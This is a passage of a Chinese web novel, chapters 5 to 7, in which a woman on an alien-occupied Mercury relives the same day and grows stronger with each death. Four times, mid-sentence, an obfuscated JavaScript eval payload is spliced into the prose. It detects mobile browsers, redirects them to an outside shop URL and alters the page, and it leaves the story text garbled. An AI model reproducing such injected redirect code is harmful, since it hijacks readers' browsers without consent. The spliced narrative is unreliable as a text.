这一切是不是真的与某种基因技术有关? 太多疑问了。 这不断死亡不断回档的现状让她困扰又不安,可是,维塔粒子的提高,又让她隐隐兴奋和期待。 潜能拔高,变强的机会啊。 就算她做好在虫族的高压下窝囊一生的准备,但如果能让自己变得强大点……谁会不乐意呢? 毕竟,在这个世道,生存上的压力不仅来自于虫族。 台灯劣质而频闪的灯光下,林叶南目光也微微闪烁,低头看着自己的手,忽然双手握住笔,一个用力,啪,笔杆应声而断。 林叶南呼吸一下子重了,激动地站了起来,满屋子找东西实验。 衣服,刷一下撕碎,桌脚,哗一下掰断,不锈钢勺子,用用力也能掰弯。 她兴奋得哈哈大笑,这就是掌握力量的感觉吗? 她觉得,此时的自己可以和一个成年男人掰掰手腕了。 以后走夜路什么的,不用怕了,独居也不用战战兢兢地堵门锁窗了。 她喜欢这种感觉! “砰砰砰!” 敲门声突然响起,王洋急切的声音传来:“南南,你怎么了?刚才什么声音?” 林叶南眼里闪过一丝不耐,这个王洋,最近一直怂恿自己和他一起去服役,送这个送那个,殷勤得不行,转头却说自己给虫族当狗,一副自己误入歧途、背叛人类的语气。 她抿了抿嘴,走过去一把打开了门。 王洋正趴在门上听动静,这一下差点跌进来,慌忙站好:“南南……” 林叶南开门见山:“我要去辉山矿业面试,我要留在水星,我不会跟你去服役。” 王洋脸色顿时变了,有些手足无措的样子:“你、你、我、我……” 林叶南:“你觉得,我给虫族打工,是给他们当狗吗?” “这、我……”王洋忙道,“我没有这个意思,只是,只是,你可以有更好的选择啊,我们去其他星球服役,结束之后就能自由了,为什么要一辈子受虫族胁迫呢?” “那如果不幸在服役过程中死了呢?” 王洋怔了一下,铮铮道:“那总不能为了苟且偷生,就彻底向虫族屈服吧?虫族都是我们的仇人啊!我们不能这么没骨气!” “苟且偷生?”林叶南笑了一声,“原来你是这么看我的。” 她觉得又好笑又无语,看着眼前这人一副他说得很有道理的样子,突然有种,一向温良的人撕开假面,露出了内里丑陋真面貌的荒诞感,又有种理应如此的感觉。 她不由得言辞讥讽起来。 “你觉得我留下来,就是苟且偷生,就是一辈子跪着向仇人摇尾乞怜。可是王洋,整个水星,所有人类,谁不是在战战兢兢地仰虫族鼻息过活,谁不是在跪着求生?” “你既然这么有骨气,为什么活到今天,你应该一出生就去死啊!你这么恨虫族,为什么想着服役后移民,一走了之,你应该尽最大能力去反抗虫族啊!” 百年前先辈的不屈反抗她不知道是什么光景,她只知道,自有记忆起,身边所有人都在告诉她,要顺从虫族,要老老实实的,凡有一丝半点的反抗之举,都会给自己和身边的人招来灭顶之灾,甚至血淋淋的例子她都见过许多。 她只是在这样跪和那样跪中,选一个更为舒服和安稳的方式。 凭什么要被王洋这样批判? 一个自己也在跪的,左右脑互搏的,无用无能的男人罢了。 有什么资格对别人指指点点? 更何况,他们只是上下楼邻居,他装什么大头蒜,他管得着吗? 王洋脸色大变。 林叶南声声质问令他错愕又难堪,说不出反驳的话,恼羞成怒地伸手抓林叶南:“你怎么能这么说我! 林叶南一把抓住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412124|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的手腕,猛地用力。 王洋所有表情僵在脸上,迅速变成了痛苦:“啊,啊啊!疼!住手!” 林叶南死死攥着他的手,看着他因为疼痛而蜷缩起来,像一只软脚虾:“我怎么能这么说你?那你凭什么那么说我?你是我的谁?你说得着我吗?你是人类的代表或英雄吗?你做过什么了不起的贡献吗?管别人前,先看看自己几斤几两吧!” 话虽说得难听,不过林叶南也没想真怎么样,毕竟王洋也只是说了几句不中听的话。 她一把推开王洋,看他狼狈摔倒:“不要再来了,我做什么,走还是留,都跟你没关系!” 她碰的一下关上门,靠着门无声地呐喊了一下,畅快又惊奇地看着自己的手。 力气大原来这么爽。 她可以正面和一个成年男人叫板,而不用担心对方跟自己动手。 一直以来,因为无依无靠,因为生理弱势,她对谁都是客客气气的,受到欺负只能忍着,被指点教育只能受着,对谁不喜欢也只能装着。 有时候,她甚至有些庆幸有一个服役的要求拦在面前,因为所有水星人在完成服役前,都默认是虫族的财产,而没有人敢明目张胆地越过虫族,使其财产贬值、受损。 不然,她恐怕早就被安排着、逼迫着嫁人了。 她就见过很多服役归来的女性被迫嫁人,明明九死一生活了下来,但等待她们的不是什么自由,而是男人的觊觎,是这个社会妄图榨干她们身上的所有价值,是为水星延续血脉的道德枷锁,是一个女性必须生多少个孩子的硬性指标。 她自小接受的教育里,就有这方面的洗脑。 她见过的年长女性,即便到四五十岁,肚子都常常是鼓的,每一个都基本不止一段婚姻史。 在上一个夫家生完几个孩子,就会自然而然夫妻情感出现问题,然后被身边的人哄着、骗着、威逼利诱着离婚,被安排认识新的男人。 多可笑啊。 她在这种环境下长大,又怎么会对这样的社会产生什么归属感?怎么会为这种想要吸她血吃她肉的族群生出拼死反抗入侵者的信念? 林叶南脸上的兴奋渐渐淡去,一室寂静中,她听到自己有力的心跳声,觉得自己体内好像有什么在觉醒。 抗争的念头吗? 打破一切规驯与压迫的决心吗? 想从这层层困局中挣脱出去的渴望吗? 她闭了闭眼,感受着胸膛里这陌生的悸动和野心,她决定了,她要把维塔粒子再提高一点,然后再尝试打破循环。 5. 第 5 章 再次出门,王洋已经不在了。 林叶南像上次一样,先去钟震的诊所,又做了一次头颅扫描。 这一次,那个“钙化灶”更亮,从一个小芝麻,变成了一个饱满的芝麻,整体信号更强了。 她确定了,这个确实和维塔粒子有关。 随后她赶去辉山矿业,取号,进面试厅,被触手扑脸。 “哇,这个人的维塔粒子有25.57!” 啪,被抽死。 第五次回档,取号,扑脸,“维塔粒子28.66!” 第六次回档,取号,扑脸,“31.58!” 第七次回档,“34.33!” 第八次回档,“37.07!” 第九次回档,“39.51!” …… 第32次回档,林叶南从床上坐起来,昏暗的光线中,她脸上一片疲惫。 “53.11。” 她念出死前听到的数值。 上一次是53.02,再上一次是52.85。 数值上涨越来越难。 看来这就是极限了。 而她死了三十多次,哪怕每次回档身上都不会留下任何外伤,但精神上实实在在经历了那么多次濒死的体验,真的是很累了。 “看来该结束了。” 林叶南一拍床铺,整个人轻巧跃起,如一只豹猫般矫健而又落地无声。 这一次次循环中,她每次都是在五点四十五分醒来,七点多出门,九点前到辉山矿业,九点半左右死亡,时间非常赶,在出门前的这段时间,她都会争分夺秒做一些训练,以快速适应这不断增强的体魄。 但渐渐的,这种变强的体现就不明显了。 很显然,她需要更专业的高强度训练,才能把53点维塔粒子带来的潜能发挥出来。 但问题是,对于怎么打破循环,她还没有头绪。 每一次,她都无法在大章鱼触手抽离时保持平静,次次露馅,次次被抽死,想从触手之下保住小命看来是不能了。 想了一会儿,她决定了,今天不去面试,看看如果她平静安全地度过今天,能不能结束循环。 她打电话给吴晴,告诉她自己不去面试了。 “你不来了?发生什么事了?” 林叶南捏着鼻子说:“昨晚感冒了,鼻音很重,这样去面试肯定印象分很差,还是等下次吧,反正今年内找到工作就行,你别被我影响,好好去面试。” 安抚好吴晴,林叶南却还是如常出门。 门外王洋在她眼里已经是一个定点刷新的NPC了,她熟练地拒绝早餐,阻止他施法,三两句敷衍完离开。 因为要做好不再回档的准备,她今天不打算做任何出格的事情,而是真的去医院开药。 这次她去的不是钟震的私人诊所,而是社区医院,感冒开药是简单的事,坐诊医生甚至都没看她两眼就刷刷开药了。 出来后,她还是来到辉山矿业,就在马路对面等着。 时间一点一点过去,顺利过了她往常的死亡时间点,来到中午、下午,直到四点多,吴晴从大门出来,一脸激动的样子,拿出手机。 很快,林叶南的手机响了。 “南南南南!我过了!我面试过了!” 林叶南对她挥手:“我在这呢。” 吴晴眼睛一亮,冲过来:“你不是感冒了吗!怎么还来了,来了怎么不进去?” “早上去开了药,吃了之后就感觉好多了,可惜那时候已经有点晚了……恭喜你过面试了!” 吴晴又欢喜起来,不过顾虑到林叶南的心情,不敢表现得太开心。 林叶南笑道:“我们两个成功上岸一个,这是值得庆祝的事情,你得请我吃好吃的。” 吴晴哈哈笑道:“要的要的,我们去喝奶茶吧,那家橙心上了新品料满多,是自然粮做的,超好吃的,走走走!” 半个小时后,两人坐在奶茶店里,一人一杯料满多,吴晴边吃边兴奋地说着面试过程。 “我刚进去眼前黑了一下,不过很快就好了,然后面试官问了我几个问题,让我出来等消息,等所有人面试结束,我就收到消息说我被录用了!” 林叶南吃着布丁,若有所思,经过这么多次循环,她也弄明白了,因为有那个大章鱼的存在,这次面试,维塔粒子低的人,都到不了面试问答的阶段。 吴晴能进入这个流程并被录用,她的维塔粒子应该不算低。 她看着吴晴,气色红润,精神饱满,体态匀称,肤色健康。 是了,吴晴一直身体很好,精力旺盛,很少见她生病。 再回想在自己前面快速落选的那30个面试者,好像都挺干巴瘦弱的。 难道维塔粒子高低可以从外表上看出来? 说起来,自己在维塔粒子提升后,气色肉眼可见好了,血检结果也都很好,而之前,她体检结果都是一种亚健康状态,皮肤也有点暗黄,大病没有,小病却常得。 可她的维塔粒子初始值应该是12、3啊,已经高于平均值了。 她垂眸看着如今变得粉嫩嫩,一看就血气饱满的指甲,心想,以后外表上自己要注意点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412125|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不要突然表现得很健康。 忽然,外面突然喧闹起来,一队虫族卫兵气势汹汹而来。 她心中咯噔一声,几乎完全虫化的卫兵!好重的杀气!这是发生什么了? 等等,这一幕怎么似曾相识? 他们过来了!他们闯进奶茶店了! 轰!奶茶店的门被撞碎,虫族卫兵队如狼似虎地冲进来,把不大的店铺挤得满满当当。 领头的卫兵迅速扫了一圈,目光钉在林叶南身上,径直而来:“你就是林叶南?” 店里的客人抱头躲避,吴晴吓得不能动弹,在这巨大的压力下,林叶南直面卫兵队长,缓缓站了起来。 不对!这不对! 有什么在脑海中一闪而过,但她来不及捕捉,动了动嘴唇:“是我……” 话未说完,卫兵队长一把掐向她的脖子。 林叶南的身体比想法更快,一个滑步躲了过去。 卫兵队长那暗红色的虫族复眼中闪过一抹诧异,披覆着铅灰色鳞甲的手臂转了个弯追过来,指甲唰地变长。 林叶南身后就是角落,躲无可躲,她膝盖一弯,弹跳而起,落到了临窗的长桌上,然后从卫兵队长身边空隙侧翻过去,落地就跑。 然而下一刻,一条鞭子一样的东西缠住了她的脖子。 她去势一顿,整个人被提了起来。 “呃!”她猛地离地半米有余,双脚凌空晃荡,被转了个身面对卫兵队长。 这时她才看清,勒住自己的鞭子,是这丫的尾巴! 准确地说,是尾巴末端的一丛毛发,就像马尾巴那种,只不过是黑色的,也更硬,像钢绳一样勒住她,倒刺一般的细小鳞片宛如锯子,割破她的皮肤,血液一下子渗了出来。 “放……呃,放开……”林叶南无法呼吸,死命抠那鞭子,脸涨红一片,只能徒劳挣扎着。 卫兵队长的脸上也覆盖着一半鳞片,鼻子宛如夸张的鹰勾,头上长着古怪的甲壳,看上去很狰狞。 “能在我手底下逃出两步远,果然不是一般人。你背后还有谁?” 鞭子勒得更紧,脖颈发出不堪重负的呻吟,林叶南眼前阵阵发黑,熟悉的濒死感降临,她又惊又怒,双腿拼命踢腾,忽然勾到了对方的尾巴,迅速一绕,用小腿把对方尾巴缠了一圈,一扯。 对方猝不及防,被扯得侧了一下身,往林叶南这边靠近了一些。 林叶南用尽全力一拳轰了过去:“……死!” 咔嚓一声,脖子被彻底勒断,眼前完全黑下。 耳边最后一道声音,是吴晴惊恐的尖叫。 6. 第 6 章 第33次回档。 林叶南从床上弹坐起来。 “啊啊啊!有病吧!” “长尾巴了不起?力气大了不起?” “该死的虫子!该死的虫子!该死的虫子!!!” 她愤怒地发泄了一通,把枕头被子扔得满地都是,死前那股惊怒憋屈感依然在胸膛里不断冲撞,顶得她肋骨疼。 突然就冲进来点她的名,二话不说开杀,抽什么风!她招谁惹谁了! 最重要的是自己完全完全打不过。 啊啊真的好气! 好半天,理智回归,她冷静下来,抓了抓胡乱披散下来的头发。 到底搞什么鬼? 她困惑,她复盘,她回忆,她思索。 那被一次次回档覆盖模糊掉的记忆,终于一点点重新浮出水面。 她记起了自己第一次回档前的事情。 那天,她和吴晴去面试,进入面试厅也是眼前一黑,等这一阵黑过去,面试官让她坐下,问了她三个问题,然后让她出去等消息。 到下午,她和吴晴一起收到通知,说她们被录用了,试用期三个月。 她们高兴地去奶茶店庆祝,然后那虫族卫兵队就冲进来了,也是点名找她,她都没来得及说什么,就被那个卫兵队长掐死了。 林叶南扶住额头,那是她第一次死亡,第一次回档,可能是因为冲击过大,醒来后还以为只是做了噩梦。 所以,她的死劫其实有两个! 第一个是大章鱼,因为当时她的维塔粒子还比较低,她和其他人一样,对大章鱼的触手探测一无所知,所以顺利活了下来。 但到了下午,虫族卫队出场,直接要了她的命。 那次回档后,因为维塔粒子涨到了16,所以她看到了大章鱼,感知到了大章鱼的触手,于是直接就死在了大章鱼那一关。 直到这一次,她绕开大章鱼,再次给了虫族卫队出场的机会。 可虫族卫队为什么要杀自己? 发现自己有回档的能力,消灭威胁?也不像啊。第一次杀自己时,她都还没开始回档呢。 脑海中闪回那个卫兵队长的冰冷问话,第一句:“你就是林叶南?” 目标明确,不存在弄错的可能。 第二句:“能在我手底下逃出两步远,果然不是一般人,你们背后还有谁?” 林叶南睁大眼睛,你们? 为什么要加个“们”字?和谁“们”? 她知道,虫族很喜欢搞连坐这一套,谁反抗他们,他们不仅会抓主谋、抓共犯,还会抓涉事人员的亲人、朋友,乃至于同事、邻居,把株连九族玩得明明白白。 她一直循规蹈矩,那就是她认识的人犯了事,牵连到了自己? 林叶南没有亲人,唯一的朋友是吴晴,但当时对方完全没管边上的吴晴,显然这事跟吴晴没关系。 剩下认识的人,关系好的,钟震算一个,但他一直老老实实开诊所,和虫族那边关系还不错,应该不会突然搞个大的。 林叶南努力搜索,从孤儿院开始,到就读过的学校、打工过的店、常去光顾的便利店、隔壁邻居等等都扒拉过一遍。 忽然,一个身影在脑海中闪过,王洋! 两年的邻居,最近更是缠得紧,对虫族抱有仇视态度……但他有那样的执行力破坏力吗? 她往后一躺,累了,毁灭吧! 但闭上眼,那个卫兵队长的脸就出现在脑海中。 冷漠,狰狞,残忍,轻蔑,鄙夷,轻而易举将她击杀,像碾死一只蚂蚁那样。 好不甘心啊! 她死了31次,用整整31次痛苦绝望的死亡体验,才终于把维塔粒子拉到53,结果不过是从被一击必杀,到跑出两步再被一击必杀。 如果她从未拥有过力量,或许还可以接受命运的践踏,但她明明已经摸到了翻身的机遇…… 她唰地睁开眼睛:“草!” …… 林叶南打电话给吴晴,说自己不去面试了,然后把自己收拾好,出门。 王洋站了起来:“南南!” 林叶南面无表情看着他,走程序一般把所有对话说完,一句话都没有跳过,以免影响后续走势。 最后冷冰冰留下一句“我们只是邻居,你想死别连累我!”扬长而去。 她没有蹲守跟踪王洋,以验证是不是他招来祸事,也没有再去辉山矿业等吴晴,而是去了钟震的诊所。 “砰砰砰”敲门,带着一身起床气的暴躁钟震再次出现:“谁啊……小叶南?” 林叶南开门见山问:“你这里应该有虫族身体的透视图吧?” “什么?”钟震懵了。 “你开这个诊所,白天给人类看病,晚上给虫族看病,除了看病,还经营给虫族清洗、修剪、打磨它们的甲壳的业务,俗称虫族美容,所以,你应该不仅有虫族的透视图,还很了解虫族身上的薄弱处吧?” 钟震慌忙左右看看,赶紧把林叶南拉了进来,压低声音:“你想干什么?” “和一个虫族结了仇,我就想知道这玩意有什么弱点,下次也好有应对。” 钟震用一种看稀奇的目光上下看她,仿佛在说,应对?就你? 林叶南看了眼时间,七点半了,虫族卫队会在下午五点多出动,虽然比起之前每次死在早上九点半,时间充裕了很多,但她依然不想浪费时间。 她直击要害:“每次给虫族美容后,你都会悄悄把那些剪下来的甲壳藏起来,或是抽血的时候多抽两管血,拿去黑市卖……” 林叶南在之前的回档中,每隔几天就要来这里扫描一下,上一次扫描,她颅内那个高信号点已经有绿豆大小了。 且每一次,她都会尝试从钟震嘴里套话,不过一直没有问出新的信息,倒是发现了一些钟震的小秘密。 钟震越听表情越震惊,吓得去捂林叶南的嘴:“别说了!” 林叶南躲开他的手:“如果我现在去举报你,你会有什么下场?” “你怎么知道这些的?”钟震又惊又怒,气得团团转,“小时候我还带过你一段时间,你尿床还是我给料理的,你就是这么报答我的!” 林叶南脸一热,尿床什么的,不记得了,那就是没发生过。 她看向诊所后面:“往里走左手洗手间后面有一个储物间,里面就藏着昨晚的战利品,你还没来得及卖出去。” 这是某次回档时,她偶然发现的。 钟震气呼呼地瞪着她,眼里闪过深深的审视:“你到底怎么知道的?” 林叶南撇开目光:“我当然有我的办法。”她顿了顿,软了语气:“钟医生,我只是想要你手上就有的资料,拿了就走,我保证对你的秘密守口如瓶。” 反正下次回档你就不记得这些了。她说得脸不红心不跳。 片刻后,钟震败下阵来,没好气地说:“你要的东西我可以给你,但你要答应我,不能犯糊涂,那些虫族,哪怕就剩个爪子还能动,也不是你这小身板能对付的。” 林叶南郑重点头:“好好,我知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412126|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟震气冲冲地去智脑上拷贝资料了,还瞪林叶南一眼:“智脑上全是患者病例隐私,你别看!” 林叶南摸摸鼻子,转过身:“对了,如果我想更深入地了解虫族,有什么方式途径吗?比如什么网站,什么书籍。” 钟震没好气道:“怎么会有这种东西?虫族能让人类弄透他们?” “那你偷偷卖虫族的鳞甲血液是为了什么?我听说有一些地下组织专门收集这些东西,针对性地研究虫族的弱点,或以此为材料制作相关武器,那些人肯定很了解虫族,有什么办法接触对方吗?” 钟震眉头皱得更紧,肃声道:“你到底受什么刺激了?冷静点,别乱来,那不是你该触碰的领域。” 和之前一样,问不出更多东西,林叶南担心自己再问下去,他连手头的资料都不给自己了,只能结束话题:“我去上个厕所。” 路过厕所她并没有进去,而是熟门熟路地去了器材室,拿了一柄手术刀,刀片部位就有巴掌长,这是给虫族修指甲鳞片用的,锋利异常,据说虫族的鳞甲外骨骼堪比钢筋,一般刀子根本割不破。 把刀子贴身藏好,出来后,钟震也拷贝好数据了,他把一个储存芯片交给林叶南,再次郑重交代:“这里面的东西不能外传,要是被人知道你在研究虫族……” “知道知道。” “话说,你到底是怎么知道我这的事……” 林叶南果断溜了:“以后再说,走了!” 钟震看着她跑远,眉头拧成了疙瘩,脸色凝重。 怎么突然要对付虫族?受什么刺激了? 他调出监控,看着林叶南摸进器材室,顺走了一把手术刀。 这是真的想跟虫族动手? 她又怎么会对诊所布局这么了解,好像提前知道手术刀在哪里。 处处透着古怪。 他打了个电话:“最近林叶南有什么异常举动吗?没去面试?搞清楚她想做什么,如果她想对虫族动手,阻止她,她是珍贵的样本,决不能有失!” …… 林叶南赶回家,在楼下观望了片刻,确定王洋不在,才鬼鬼祟祟地上楼。 一进家门,她把门反锁上,存储芯片插入她的二手旧版智脑,很快一张张扫描透视图出现在屏幕上。 每一张都是完全虫化状态的扫描图,这些虫族可真是长得千奇百怪奇形怪状。 有的长着很大的翅膀,有的爪子特别长,有的尾巴像倒钩,有的脑壳像一座山,有的口器特别夸张。 她找了一个和那个虫族卫兵队长外形最贴的透视图,瞪大眼睛仔仔细细地看,还在纸上临摹下来。 回档后,这些资料会消失,她要用脑子把这一切复刻下来。 “翅根连接处原来是这样……尾巴关节原来像个球……腋下有这么大的腋膜……他爹的居然有两颗心脏!……腮边的这块阴影是什么?” 她一边看图,一边结合资料,才知道,原来腮边的阴影是嘴巴里的毒囊,这丫跟毒蛇一样,咬住目标后可以释放毒素! 她有些牙疼地咬笔头,这虫族真是物理、化学两手抓,防御杠杠的,攻击猛猛的,两颗心脏,两对类似肾上腺素的器官,体内还有能量储蓄囊,可长时间作战。 六边形战士啊这是! 郁闷归郁闷,她还是逐字逐句地记资料。 这玩意和虫族解剖学也没什么区别了,虽然不够详尽,但绝对是普通人类无法触及的知识。 然而,看着看着,她发现,自己大概,可能,好像,有点过目不忘了! 7. 第 7 章 林叶南看看屏幕上的文字,闭上眼睛,那些文字全部清晰地出现在脑海中。 她打开智脑文档的背诵校准模式,闭着眼睛背起来。 “虫族以虫母为绝对核心阶级森严,分工明确……高等虫族对低等虫族有精神威慑力……” “战斗状态中,鳞甲可高度攒聚,形成厚厚的甲壳,即体外骨骼……甲壳防御强,但眼窝、关节、腋下、生殖区薄弱……” “虫族□□呈强酸性,可自行喷酸作为攻击手段,相应的,虫族极不喜碱性物……” “虫族复眼具有高分辨率、高动态捕捉能力,但不喜高热刺眼光源……” “虫族畏火,部分虫族甲壳易燃,燃烧易脆化……” 背完一长串,林叶南睁开眼睛,校准模式将她的背诵内容全部录下来,转换成文字,同步与原文进行校对,出错的地方极少,整体不超过5%! 林叶南倒抽一口气,继而是狂喜。 “我的记忆力居然变得这么强!” “维塔粒子提高还能带来这样的好处!” “那像今天这样的资料,以后就不用反复获取了,全记在脑子里了!” 她激动地自言自语,满屋打转,倒还记得压低声音免得被谁听去。 然后脑海里第一个冒出来的念头居然是:如果利用回档的时间各种学习,她能成为世界上最博学的人! 这一次次回档中,所有一切都会回到她早上醒来时的样子,包括她的身体状态。 无法积累财富,无法改变生活处境,就连她锻炼后的肌肉记忆什么的,也要花点时间重新捡起来。 要不是维塔粒子能不断提高,这一次次死亡纯粹就是折磨。 但现在,这简直是一个无限学习的作弊神器啊!她可以不断在脑海里积累知识,这将是她除维塔粒子之外的第二大财富! 她呼出口气,重新坐回桌前,喃喃自语道:“之前怎么没想过试试记忆力呢?唉,还是时间太紧了。” 现在不会了,早上五点多醒来,下午五点多死去,一天十二个小时,够她干好多事了。 这么想着,她振奋起来,恨不得立刻给自己排个学习表。 不过今天主要还是计划怎么应对虫族卫队。 她继续研究资料,现在知道虫族的一些弱点了,要怎么利用…… 一个粗浅的计划在脑海中慢慢成型,她又拿起那把手术刀,翻来覆去研究,手持刀子唰唰唰切割空气。 她如今力气大了,一刀下去,实木板桌角被平平削去,一刀前刺,衣柜柜门被她刺了个对穿。 确实是一把好刀,但想想虫族那长手长脚长翅膀长尾巴的,这手术刀未免太短了,除非贴身偷袭,不然…… 手机突然响起,她拿起一看,吴晴? 一接起来,吴晴的声音就急切地传来:“南南,你还好吧?” 林叶南莫名其妙:“我挺好啊。” “我越想越不放心,这场面试你准备了那么久,如果只是感冒,怎么会轻易放弃?你是不是病得很重?” 林叶南哭笑不得:“真的没有,真的只是感冒鼻音重,担心表现不好才不去的。” “真的?不行,没看到你我不放心,反正你都等下次机会了,我也一起好了,我往你家去了,一会儿就到。” 林叶南皱起眉,这人怎么突然这么固执,她今天有很重要的事做,可没空招待她。 她只能再三保证自己没事,最后说道:“我头晕晕的,想好好睡觉,你先去面试,晚上六点我们一起吃饭,我保证全须全尾出现,好吗?” 得到对面答应后,她松了口气,万一这次没法回档的话,好歹不能让吴晴耽误面试。 不过,她怎么会突然这么担心自己?上次可没有这样。 林叶南想了会,也不纠结了,或许只是一时的念头。 确认把所有资料都记下后,林叶南拔出储存芯片,清空智脑上的文档记录,然后将家里收拾了一番,确认没破绽后出了门。 她直奔最近的一家刀馆,进去就把所有存款拿出来:“我想学最厉害的刀术。” 虫族占领水星后,将所有军事基地毁了,所有热武器,上至核弹下至手枪,从成品到核心原材料,全部销毁,天上的卫星也只留下了一部分通讯卫星、气象卫星,其余能够辅助军事行动的卫星,全部给端了。 反正百年来,水星人基本没摸过热武器,林叶南也只在书上知道那是个什么东西。 现在人执法、打架什么的,多是用刀子棍棒电击器之类的,虫族不会管这些,想学就学,把身体锻炼好了再去服役,他们更满意。 所以,刀馆、箭馆、拳馆什么的还挺多的。 林叶南之前不舍得花钱学这个,也是她身体不够好,运动量稍大点就很疲乏,一乏就容易生病。 这也是她第一次进刀馆。 刀馆老板给她安排了馆里最好的教练,姓张,张教练问她有没有基础,她含糊答道:“学过点武,对刀术完全不懂,我马上要服役了,想学能真正保命杀敌的东西。” 她看着张教练道:“今天我试学一天,想先快点把基础打好,然后看看你有没有什么绝招,要是能学到真本事,我买长期的课,不行的话,明天我就去其他武馆看看。” 张教练一听就乐了,又想学得快,又想学绝招,不过临近服役,病急乱投医是这样的。看来得拿出看家本领来,把这个长期客户留住啊。 张教练:“行,我们先学入门套路,完了给你演示几招绝招。” 张教练让林叶南去换上练功服,然后拿了两把未开刃的钢刀来,给林叶南一把,这钢刀还挺沉,能有五六斤,但林叶南拿在手上轻轻松松,张教练暗暗点头,看来确实有底子,也就不提给她换把轻的。 “刀是百兵之胆,讲究的是一个刚猛有力,大开大合……最核心的通用基本动作有八个,想学刀术,就要先学会这八个动作,分别是劈、砍、撩、挂、扎、抹、云、崩……” 张教练每说一个动作,就演示一个。他演示,林叶南就跟着学。 劈:自上用力砍下,最常用动作 砍:横向、斜向斩击,力要用在刀刃上 …… 云:刀在身前、头顶画圆绕环,像云一样旋绕 崩:刀尖猛地向上一弹,一下就收 …… 张教练的教学动作不快,力求让林叶南看清,但在林叶南的眼里,那动作像加了放慢特效一样,更慢了好几倍,每一个细节都让她看得清清楚楚,让她有更多的时间消化。 这一刻,她有种很奇妙的感觉,体内深处好像有一个发动机在哐哐运转,让她整个人进入一个高频状态,观察力、记忆力、理解力、学习力、模仿力……全部能力调动起来。 张教练的每一个动作映入她的瞳孔,由神经传导到大脑,快速拆解分析后,新的信号又经神经传导出来,传达给四肢百骸。 全身肌肉莫名其妙地微微颤抖、发热,然后,她动了起来。 宛如机器一般,模仿、复制、矫正、深层次理解、更精确地还原。 她的头顶仿佛出现了一个进度条,每个动作第一次练0%-30%,第二次练30%-70%,第三次练70%-90%,第四次就能达到100%完美! 张教练被吓到了。 以为一个动作就要练很久,没想到学员给了他大大的惊喜。 刚上手那生涩感,确实是零基础的样子,但很快就有了动作雏形,接着褪去僵硬感,圆融流畅起来。 那动作,标准、干脆、有力,没有一个发力点是不对的,多练几次就有了她自己的神韵。 被他碰到天才了? 张教练张大嘴巴,恍恍惚惚地继续教下一个动作。 时间就这么一点点过去,从上午一直到下午,连午饭都没吃,林叶南就跟一个不会疲惫的永动机一样,快速吸收着每一个动作的要点。 张教练倒是饿得不行,提议道:“你这掌握得差不多了,先去吃饭吧。” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412127|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶南才意识到都下午了,时间不多了,她说:“教练你去吃吧,我再练练。” 这一幅争分夺秒,活了今天没明天的样子,张教练都不好意思走,他只能说:“那我教你一套刀法,是把这八法完全贯通起来的,你先练着,要是能流畅舞出来,这基础八法就算过关了。” 林叶南点头:“行。” 张教练给演示了两遍,自觉不算把学员晾着了,匆匆跑去吃饭。 其他教练上前询问:“教得怎么样?一上午没出练功房。” 张教练一脸感叹:“别提了,简直是个怪物!”说着又自豪起来,“我这辈子就没教过这么天才的学员,放在古时候,绝对能练成个武林高手!” 大家有些不信,等张教练吃完,一帮人一起去看热闹,结果就在门口看到林叶南那游龙一般的身姿,一把钢刀那是舞得哗哗作响、寒光凛凛,那进、退、腾挪、侧空翻、下劈的动作也是一点不含糊。 其他人:“啊?这真是零基础?骗人吧?” 张教练有些呆滞,张教练怀疑人生,张教练心服口服。 这学员也没法长期学啊,几天时间就能把自己的底掏干净。 林叶南结束最后一个动作,收势站定,微微喘气,看了眼墙上的钟,然后看向门口:“教练,你说要教我绝招的。” “啊?哦!哦!好嘞!” …… 下午四点,林叶南走出刀馆,发根处都是亮莹莹的汗水,整个人腾腾地冒热气,刚换回来的衣服又被汗水浸湿了。 她一点也没有耽误,根据张教练给的地址,坐车去了一家横刀专卖店,挑了最贵的一把,二十万。 